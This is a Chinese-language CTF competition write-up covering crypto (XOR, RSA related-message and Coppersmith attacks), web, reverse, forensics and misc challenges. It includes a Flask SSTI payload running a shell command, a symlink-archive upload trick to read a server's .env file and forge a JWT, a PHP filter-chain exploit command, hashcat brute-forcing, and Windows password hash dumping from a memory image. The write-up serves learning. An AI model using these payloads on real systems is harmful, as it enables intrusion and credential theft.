成绩
总榜第二
[简单算术]
题目提到了异或,那我们通过将每个字符与密钥31进行异或操作,将加密后的字符串转换回原始的明文字符串,简单可秒。
定义密文
ciphertext = "ys\~xdg/m@]mjkz@vl@z\~lf>b"
初始化解密后的字符串
decrypted_text = ""
遍历密文进行异或操作
for char in ciphertext:
decrypted_char = chr(ord(char) ^ 31)
decrypted_text += decrypted_char
输出结果
print(decrypted_text)
得到flag{x0r_Brute_is_easy!}
[WEB-Gotar]

注册登录后有一个文件上传的功能

上传不受身份限制,查看flag文件无权限(应该是需要admin超级管理员身份)
审了下源码,身份鉴权是通过JWT

那么肯定是需要JWT伪造,进一步来说需要得到JWT密钥。
审计半天无人问,一朝软链出flag
思路是上传文件时候上传带有软连接的tar包,访问上传的文件相当于访问软连接的目录,就可以读出存储JWT密钥的.env文件
beginCTF-2024遇到过
bash命令ln -s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。
创建软连接压缩包(--symlinks表示压缩软连接 )
ln -s /flag myflag
zip --symlink 1.zip myflag
此外,如果上传目录是访问不到的,也可以用软连接,参考2023国赛。
生成tar包上传

访问路由/assets/extracted/2/222/
在app目录下得到环境变量文件,得到密钥

伪造"UserID": 1,

获得权限下载flag

flag{e75d1164-d808-4927-8b23-48f570770d9d}
[通往哈希]
使用hashcat爆破,Kali上自带,爆破很慢,等一会出flag,可秒。
hashcat -m 100 -a 3 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d
-m指定SHA1,-a 3指定暴力破解
得到flag{18876011645}
flask
题目说了是flask,直接构造Pyload访问地址:
?user={{%27%27.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[%27popen%27](%27cat%20flag%27).read()}}
bases[0]:获取str类的基类,subclasses()[133]:获取object类的所有子类,并选择第134个子类(索引从0开始)。('cat flag'):调用popen函数并传递catflag命令。通过SSTI漏洞执行系统命令cat flag,并将其输出作为模板渲染的一部分返回,从而泄露flag文件的内容。

[小哈斯]
import string
from hashlib import sha1
定义包含多个 SHA1 哈希值的列表
hash_list = """zheli""".split("\n")
print("Hash List:", hash_list)
定义可打印字符集
chars = string.printable
初始化破解后的字符串
decrypted_text = ""
遍历每个哈希值
for hash_value in hash_list:
遍历每个可打印字符,尝试找到匹配的明文字符
for char in chars:
if sha1(char.encode()).hexdigest() == hash_value:
decrypted_text += char
break
输出字符串
print("Decrypted Text:", decrypted_text)
得到flag{game_cqb_isis_cxyz}
[逆向ezgo]
第一步我们看见初始化函数里面有一个反调试和替换base码表

然后反调试和判断输入长度是否为4,分析这个逻辑

base64和两次 xor运算,进入下一步

最后XOR一下对zip解密即可

脚本如下
import base64
import string
from itertools import product
# 自定义Base64字符表
TABLE = [
1, 87, 44, 124, 199, 114, 32, 112, 165, 150, 33, 220, 168, 118, 105, 20, 197, 36, 37, 2, 183, 122, 252, 240, 196, 73,
86, 194, 193, 149, 236, 38, 204, 247, 255, 115, 225, 63, 132, 70, 169, 249, 61, 14, 69, 241, 218, 146, 206, 59, 60, 160,
22, 188, 45, 189, 164, 50, 144, 98, 157, 12, 222, 173, 64, 207, 75, 77, 110, 121, 200, 133, 210, 172, 153, 232, 30, 201,
212, 6, 52, 102, 184, 211, 19, 244, 66, 27, 99, 95, 130, 91, 145, 42, 51, 93, 185, 125, 213, 108, 13, 40, 8, 155, 24,
46, 162, 103, 90, 230, 138, 25, 80, 156, 177, 239, 31, 18, 186, 134, 131, 119, 96, 148, 253, 246, 84, 191, 161, 147, 3,
231, 88, 229, 154, 127, 34, 190, 217, 56, 39, 101, 215, 35, 251, 113, 250, 143, 245, 109, 81, 158, 214, 139, 137, 17,
202, 15, 142, 203, 179, 187, 242, 135, 117, 92, 47, 152, 43, 28, 180, 198, 10, 76, 54, 26, 21, 136, 29, 228, 195, 151,
83, 48, 74, 58, 181, 97, 85, 192, 167, 219, 41, 104, 226, 224, 16, 9, 65, 49, 243, 175, 182, 106, 111, 0, 5, 11, 227,
209, 141, 71, 116, 120, 123, 100, 221, 171, 176, 57, 55, 254, 237, 82, 205, 129, 248, 170, 72, 107, 208, 235, 140, 68,
89, 23, 159, 79, 178, 53, 163, 126, 238, 78, 223, 233, 7, 67, 166, 174, 216, 234, 128, 62, 4, 94
]
A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
B = "TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
ENCODE_MAP = str.maketrans(A, B)
DECODE_MAP = str.maketrans(B, A)
def get_xor_masks():
"""返回用于异或操作的掩码列表"""
return [0xc, 2, 2, 5, 5, 2, 2]
def encode_custom_base64(input_data):
"""使用自定义Base64字符表对输入数据进行编码"""
if isinstance(input_data, str):
input_data = input_data.encode('utf-8')
# 标准 Base64 编码
standard_base64 = base64.b64encode(input_data).decode('utf-8')
# 使用自定义字符表替换
custom_base64 = standard_base64.translate(ENCODE_MAP)
# 计算填充符号
padding_count = custom_base64.count("=")
# 生成掩码
masks = get_xor_masks()
result = []
# 对非填充字符进行异或操作
for i in range(len(custom_base64) - padding_count):
result.append(ord(custom_base64[i]) ^ masks[0])
# 对填充符号进行处理
result.extend([0x3D] * padding_count)
# 进行位置异或
for i, mask in zip([0, 2, 3, 4, 5, 7], masks[1:]):
result[i] ^= mask
return result
def decrypt_data(data_buffer, key):
"""对加密数据进行解密"""
for i in range(4):
if data_buffer[i] != 0:
offset = i % 8
temp = key[offset] ^ TABLE[key[offset]]
data_buffer[i] = temp ^ data_buffer[i] ^ key[(i % 2) + 4]
return data_buffer
def find_key():
"""尝试找到正确的密钥"""
char_set = string.ascii_letters + "0123456789"
for candidate in product(char_set, repeat=4):
candidate_str = "".join(candidate)
encrypted_data = b'\x0e\xe1\xe5\xf9'
data_buffer = bytearray(encrypted_data)
# 编码候选密钥
key = encode_custom_base64(candidate_str)
# 解密数据
decrypted_data = decrypt_data(data_buffer, key)
# 判断解密结果是否为有效的ZIP文件标志
if b"PK\x03\x04" in decrypted_data[:4]:
print(candidate_str)
if __name__ == '__main__':
find_key()
[压力大写个脚本]
先写脚本解压嵌套压缩包,用上一层的password.txt 解密base后的结果当作解压密码,
import os
import base64
import zipfile
获取当前工作目录
current_dir = os.getcwd()
遍历密码文件和压缩文件,从99到1
for i in range(99, 0, -1):
password_file = os.path.join(current_dir, f"password_{i}.txt")
zip_file = os.path.join(current_dir, f"zip_{i}.zip")
# 读取并解码密码
with open(password_file) as f:
password = base64.b64decode(f.read().strip()).decode("utf-8")
# 解压缩文件
with zipfile.ZipFile(zip_file) as zf:
zf.extractall(path=current_dir, pwd=password.encode())
0号压缩包说是password+password.png,然后0号压缩包里面的数据又是89504e47,所以怀疑所有的压缩密码连在一块就是一个png
将解压出来的pass进行合并,解码
import base64
合并后的文件
output_file = 'merged_passwords.txt'
try:
with open(output_file, 'wb') as output_f:
for i in range(100):
input_file = f'password_{i}.txt'
try:
with open(input_file, 'r') as file:
encoded_content = file.read().strip() # 读取并去除多余空白
# 解码
decoded_content = base64.b64decode(encoded_content)
# 将解码后的内容写入合并文件
output_f.write(decoded_content)
except FileNotFoundError:
print(f"文件 {input_file} 未找到,跳过该文件。")
except Exception as e:
print(f"处理文件 {input_file} 时发生错误: {e}")
print(f'所有密码已合并并保存为 {output_file}')
except Exception as e:
print(f"文件合并过程中发生了错误: {e}")
然后解码,删掉后面的一串fg,即可得到二维码


[镜像]
打开发现是个大白鲨图标,直接过滤http包,导出后

发现是一个Zip文件,解压可以得到img文件。
用R-studio,题目已经提示了
然后点击文件恢复选择镜像

看到flag

flag{E7A10C15E26AA5750070EF756AAA1F7C}
[RSA1]
Flag是flag加上uuid,再加上一组二进制字符串,这个二进制字符串是由flag产生的。m1和m2的生成,可以猜出m1和m2之间有一定的关系。通过计算可以知道m1等于m2加上
138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867。
from Crypto.Util.number import *
from random import *
import uuid
生成随机密钥
secret_key = b'key{' + str(uuid.uuid4()).encode() + b'}'
补充密钥长度至 1024 位
secret_key += bin(getPrime((1024 - bytes_to_long(secret_key).bit_length()) // 8)).encode()
计算 key1 和 key2 的值
key1 = bytes_to_long(secret_key)
key2 = bytes_to_long(''.join(chr((ord(char) + 3) % 128) for char in secret_key.decode()).encode())
输出结果
print(key2 - key1)
138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
由m1m2可以想到相关消息攻击。
c1=(m1e)^2835
c2=m2^2025
c3=m2^2835+e
相关消息攻击,加密指数要相同,所以利用c1,c3,但是e是一个随机数,并且很大,不容易爆破,
所以先利用c2,求得e
c2,c3用两个未知数,先消去m2,计算出最小公倍数
$$gcd(2025,2835)=405$$
20252835//405即最小公倍数,让m2的次方达到最小公倍数,通过两式相减消除m2
得到
$$c2^{(20252835//405//2025)} =(c3-e)^{20252835//405//2835} \mod N$$
sage small_roots求根
from Crypto.Util.number import *
定义模数 N
modulus = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
定义密文 c1, c2, c3
cipher1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
cipher2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
cipher3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
固定差值
fixed_difference = 138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
求根
P.<x> = PolynomialRing(Zmod(modulus))
poly_eq = (cipher3 - x)**(2025*2835//405//2835) - pow(cipher2,2025*2835//405//2025, modulus)
poly_eq=poly_eq.monic()
poly_eq.small_roots(2**128, beta=1, epsilon=0.05)
最终通过计算得到:
[281211879955223558268422413173406510291] 即e e.nbits()=128
求出e便可以确认(m1e)和m2之间的具体关系了
设m1=x,则
M1=ex M2=m1+138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
可设多项式
F1=(ex)^2835-c1
F2=(x1+number)^2835+e-c3
m1>N,求出来的m不完整需要加上kN
half gcd Implementations/Half_GCD/code.sage at main · rkm0959/Implementations · GitHub
import sys
from Crypto.Util.number import *
modulus = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
cipher1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
cipher2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
cipher3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
fixed_difference = 138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
e=281211879955223558268422413173406510291
P.<x> = PolynomialRing(Zmod(modulus))
def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x ^ m)
b_top, b_bot = b.quo_rem(x ^ m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x ^ (m // 2))
e_top, e_bot = e.quo_rem(x ^ (m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11
def GCD(a, b):
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)
sys.setrecursionlimit(500000)
ee=2835
f1 = (e*x)^ee- cipher1
f2 = (x+fixed_difference)^ee + e -cipher3
temp=GCD(f1, f2)
m1 = int(-temp.monic().coefficients()[0])
for k in range(1000000):
m=long_to_bytes(m1+k*modulus)
if b"flag" in m:
print(m)
print(k)
break
找到k=26649
m=k*N+m1
b'flag{2404dcef-4223-417d-aee0-c236241f2320}0b10110001011010011001000000011011110111111100010110000111000000100100000100011101100011'
[file_copy]
https://github.com/synacktiv/php_filter_chains_oracle_exploit?tab=readme-ov-file
github上有攻击脚本
执行下面的
python3 filters_chain_oracle_exploit.py --target [主机url] --file '/flag' --parameter path
就可得到flag
[Ez_forensics]
先用r-studio看一下文件结构 发现一个压缩包还有个提示文件

给了60 猜测是13+47 Rot13+rot47解密

知道压缩包的密码是windows用户密码 用volatility来提取
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Flu0r1n3:1000:aad3b435b51404eeaad3b435b51404ee:15245efa2af8a339c15ed8e658911844:::
Cmd5解密

再用volatility提取压缩包
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 filescan | findstr "f14g.7z"
Volatility Foundation Volatility Framework 2.6
0x000000003eb51d00 16 0 -W---- \Device\HarddiskVolume2\Users\Flu0r1n3\Desktop\f14g.7z
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eb51d00 -D "G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics"
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3eb51d00 None \Device\HarddiskVolume2\Users\Flu0r1n3\Desktop\f14g.7z
用上面的密码解压压缩包 得到hint和一个ini配置文件
一眼MobaXterm解密

找个项目解密
python .\MobaXtermCipher.py dec -p flag_is_here DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL in cmd at 18:38:28
flag{eW91X2FyZV9hX2cwMGRfZ3V5}
再解一次base64

[Weevil’s Whisper]
打开流量包,发现text,果断打开(啪的一下,很快啊!)

发现是加密的文本,那很明显这是一个解密题了(可谓是什么题都可以往misc放!)
lFDu8RwONqmag……这一串

这个shell1.php显然就是题干里面传说中的黑客上传的shell

lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92
lFDu8RwONqmag5ex45089b3446eeSapiXZwT7J5S6ST5d8pqvEtS7r6h3xg76c7bnajhvB2IIsfYvx7Tppa1JhN/WUI48PTopzqz/731u6ZuSoFbcdJuYfXx/as8o6+uMn43pzUhamP/MG1QoKqvsb2nBEElYEh9HRrc9bISccd6uGcFpPn2+SG9tH+7+XJwpKq8/aR9NzkJPli0iCXWcWrDqCfM/ebpr7pkrFYT45Rzd4EgBetan+Vk6Bpw40QjtpcuHS4BY1JWWkcGXWoZCFp1wO20Y+kx7e7l+VSwDDJr7hC75YdT18DGMt8BpdLXxfsKUwFTt9dxcRc84dO65fl+JwoEaVSJo6psvA/7BQNuEHa8V8V2/2ekcK2DJUBNXhUA+FtVYWh9e09r24fBJ+MAN5cGYbIY/TqOrzwr3yn9OYyvPisf3VobnQcgMjZ13f4I4e0d86dbcf92
lFDu8RwONqmag5ex45089b3446eeSaoyZWJkN2U=4e0d86dbcf92
导出三个密文
纯解密题,我们定义perform_xor_decryption函数,接受两个参数$encrypted_text和$key,通过循环遍历加密文本和密钥,逐字符进行异或运算,从而实现解密。解密后的文本存储在$decrypted_text变量中并最终返回,使用base64_decode函数对提取的加密内容进行Base64解码。
三个密文都解一下。

脚本如下:
<?php
// 定义异或的密钥
$decryption_key = '161ebd7d';
// 异或函数
function perform_xor_decryption($encrypted_text, $key) {
$key_length = strlen($key);
$text_length = strlen($encrypted_text);
$decrypted_text = '';
for ($i = 0; $i < $text_length; ) {
for ($j = 0; $j < $key_length && $i < $text_length; $j++, $i++) {
// 逐字符进行异或运算
$decrypted_text .= $encrypted_text[$i] ^ $key[$j];
}
}
return $decrypted_text;
}
//解密函数
function decrypt_payload($data) {
global $decryption_key;
// 定义加密数据的前缀和后缀
$prefix = 'lFDu8RwONqmag5ex45089b3446ee';
$suffix = '4e0d86dbcf92';
// 提取实际的加密内容
$base64_encoded = substr($data, strlen($prefix), -strlen($suffix));
// Base64 解码
$decoded_data = base64_decode($base64_encoded);
// 进行异或解密
$xor_decrypted = perform_xor_decryption($decoded_data, $decryption_key);
// gzip 解压缩
$decompressed_data = gzuncompress($xor_decrypted);
return $decompressed_data;
}
$encrypted_data1 = 'lFDu8RwONqmag5ex45089b3446eeSapiXZwT7J5S6ST5d8pqvEtS7r6h3xg76c7bnajhvB2IIsfYvx7Tppa1JhN/WUI48PTopzqz/731u6ZuSoFbcdJuYfXx/as8o6+uMn43pzUhamP/MG1QoKqvsb2nBEElYEh9HRrc9bISccd6uGcFpPn2+SG9tH+7+XJwpKq8/aR9NzkJPli0iCXWcWrDqCfM/ebpr7pkrFYT45Rzd4EgBetan+Vk6Bpw40QjtpcuHS4BY1JWWkcGXWoZCFp1wO20Y+kx7e7l+VSwDDJr7hC75YdT18DGMt8BpdLXxfsKUwFTt9dxcRc84dO65fl+JwoEaVSJo6psvA/7BQNuEHa8V8V2/2ekcK2DJUBNXhUA+FtVYWh9e09r24fBJ+MAN5cGYbIY/TqOrzwr3yn9OYyvPisf3VobnQcgMjZ13f4I4e0d86dbcf92';
$encrypted_data2 = 'lFDu8RwONqmag5ex45089b3446eeSaoyZWJkN2U=4e0d86dbcf92';
$encrypted_data3 = 'lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92';
echo "解密结果:\n\n";
// 循环
$encrypted_data = [$encrypted_data1, $encrypted_data2, $encrypted_data3];
foreach ($encrypted_data as $index => $data) {
echo "----------------------------------------\n";
echo "密文: " . ($index + 1) . "\n";
echo "内容:\n";
// 解密
$decrypted = decrypt_payload($data);
// 输出
echo $decrypted . "\n\n";
}
echo "----------------------------------------\n";
?>
[running]
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
from secret import flag
K=5
p=[2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41]
while i:=i+1:
if all([0,i][sum([0,j][i%j==0]for j in range(1,i+1))>2*i]%j for j in p[:K]):print(AES.new(key=md5(str(i).encode()).digest(),mode=AES.MODE_ECB).encrypt(pad(flag,16)));break
# b'y.\x86k\xbd\xbfd7)\xcdHm\xf7\x1e\xfdX\xf6z\xb0\xd5XD}\xe8m\x81D\x84\x1c\xa0<\x1f\xd0f\x9f\xcc\x89\r\xc4\x9d\xadbY\xa3\xb1\x1d5?'
思路:
审计代码,检查不能被前 K 个质数整除:all(i % j != 0 for j in p[:K]) 检查 i 是否不能被 p[:K] 中的任何一个质数整除。
参考:https://en.wikipedia.org/wiki/Abundant_number,https://projecteuclid.org/journals/bulletin-of-the-belgian-mathematical-society-simon-stevin/volume-12/issue-1/On-the-smallest-abundant-number-not-divisible-by-the-first/10.36045/bbms/1113318127.pdf

我们执行要求出 丰度为1-7的 Abundant Numbers 就行,挨个求解,发现是求丰度为6的Abundant Numbers

from Crypto.Cipher import AES
from hashlib import md5
cipher = b'y.\x86k\xbd\xbfd7)\xcdHm\xf7\x1e\xfdX\xf6z\xb0\xd5XD}\xe8m\x81D\x84\x1c\xa0<\x1f\xd0f\x9f\xcc\x89\r\xc4\x9d\xadbY\xa3\xb1\x1d5?'
k = 64702979560966356488598858364510932416917957393726356813256494112748767382615990284426243750577815629801062581738756314644292387919578086291
flag = AES.new(key=md5(str(k).encode()).digest(),mode=AES.MODE_ECB).decrypt(cipher)
print(flag)
flag:flag{1fa54a4b-1a2d-4e7f-9a8f-550293728b9b}
[factor]
import random
import os
from Crypto.Util.number import *
from secret import flag
def pad(x, n):
while len(x) < n // 8:
x += os.urandom(1)
return x
def genp(p, l):
while 1:
r = random.randint(1 << l - 1, 1 << l)
if isPrime(p + r):
return p + r
bits = 1024
b = 345
flag = pad(flag, bits * 3)
m = bytes_to_long(flag)
p = getPrime(bits)
q = genp(p, b)
r = genp(q, b)
n = p * q * r
print(n)
print(pow(m, 65537, n))
# 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
# 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988
思路:
def genp(p, l):
while 1:
r = random.randint(1 << l - 1, 1 << l)
if isPrime(p + r):
return p + r
p = getPrime(bits)
q = genp(p, b)
r = genp(q, b)
从这里可以知道p,q,r相对接近,记为
q=p+x "(1)"
r=p+x+y "(2)"
x,y都是345bit,所以n开三次方能得到p的高位,此时有低345bit甚至更多不知道。做一些爆破用一元copper恢复p
然后再用二元Copper求出x恢复q。得到p,q后r=n//p//q。然后解RSA
from Crypto.Util.number import *
from tqdm import trange
import gmpy2
n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
ph = int(gmpy2.iroot(n,3)[0]) >> 347 << 347
for i in trange(2^13):
phigh = ph + i*2^335
R.<x> = PolynomialRing(Zmod(n))
f = phigh + x
res = f.monic().small_roots(X=2^335,beta=0.33,epsilon=0.02)
if res != []:
p = int(phigh + res[0])
if n % p == 0:
print(f"p = {p}")
# p = 177641852143539875144076287104359901067433280125353192376052994247805596999311993133680118926203330508832035411734411354655205181670634659281906946269134849688257950688607255823034295123844247237760781276134032579722586580714406466623980282093209193430049447821706112292714446557721627445986171788731664465623
二元
from Crypto.Util.number import *
import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
c = 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988
p = 177641852143539875144076287104359901067433280125353192376052994247805596999311993133680118926203330508832035411734411354655205181670634659281906946269134849688257950688607255823034295123844247237760781276134032579722586580714406466623980282093209193430049447821706112292714446557721627445986171788731664465623
R.<x,y> = PolynomialRing(Zmod(n // p))
f = p^2 + 2*p*x + x^2 + p*y + x*y
res = small_roots(f,(2^346,2^346),m=3,d=4)
for root in res:
q = p + int(root[0])
if n % q == 0:
print(f"q = {q}")
r = n // p // q
d = inverse(65537,(p-1)*(q-1)*(r-1))
m = pow(c,d,n)
print(long_to_bytes(int(m)))

flag{24e33eda-f57c-42da-92c5-e0b39414cded}
难绷之笑传
鬼知道搞什么名堂,没看见这个题是限时提交WP,直接被终结,还是第一次见赛中限时提交WP的,也是开了眼界了。
不过加上这道题也是这个排名,就无所谓了


















这一切,似未曾拥有